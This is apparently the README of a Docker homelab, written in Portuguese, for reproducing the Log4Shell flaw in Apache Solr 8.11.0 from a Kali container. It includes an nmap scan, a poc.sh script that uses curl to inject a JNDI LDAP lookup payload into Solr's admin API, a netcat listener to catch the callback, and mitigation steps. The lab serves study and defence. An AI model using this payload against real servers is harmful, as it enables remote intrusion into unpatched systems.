
Log4j Vulnerability homelab
Ambiente controlado em Docker para reproduzir e estudar a vulnerabilidade Log4Shell no Apache Solr.
solr-lab): Apache Solr v8.11.0 (vulhub/solr:8.11.0) rodando uma versão vulnerável do Log4j.kali-lab): Container Kali Linux básico com nmap, curl e netcat pré-instalados.No seu terminal, suba o ambiente em background:
docker compose up -d --build
docker compose exec -it kali-lab /bin/bash
Dentro do container do Kali, descubra sua própria sub-rede e localize o IP do Apache Solr:
# 1. Veja seu IP e máscara de rede
hostname -I
# 2. Varra a rede interna para achar o IP do alvo (porta do Solr: 8983)
# (Substitua a subnet abaixo conforme o IP que você pegou no comando anterior)
nmap -p 8983 172.20.0.0/24
O script poc.sh injeta o payload de lookup JNDI no parâmetro da API de administração do Solr.
poc.sh)#!/usr/bin/env bash
if [ "$#" -lt 2 ]; then
echo "Uso: $0 <lhost> <rhost> [lport]"
echo "Exemplo: $0 172.20.0.3 172.20.0.2 1389"
exit 1
fi
KALI="$1"
TARGET="$2"
PORT_KALI="${3:-1389}"
echo "[*] Alvo: $TARGET"
echo "[*] Atacante (LDAP): $KALI na porta $PORT_KALI"
echo "[*] Disparando exploit..."
curl -g -v "http://${TARGET}:8983/solr/admin/cores?foo=\${jndi:ldap://${KALI}:${PORT_KALI}/x}"
Ainda dentro do Kali, dê permissão ao script e execute passando os IPs corretos:
chmod +x poc.sh
./poc.sh <IP_DO_KALI> <IP_DO_SOLR> 1389
O que acontece aqui? O Solr vai processar a requisição e tentar abrir uma conexão LDAP de volta para o IP do Kali na porta especificada. Você pode monitorar essa tentativa de conexão abrindo um listener rápido no Kali antes de rodar o script (ex:
nc -lnvp 1389).
Para corrigir a falha no Log4j 2:
2.15.0 ou 2.17.1).-Dlog4j2.formatMsgNoLookups=true na inicialização do Java.zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class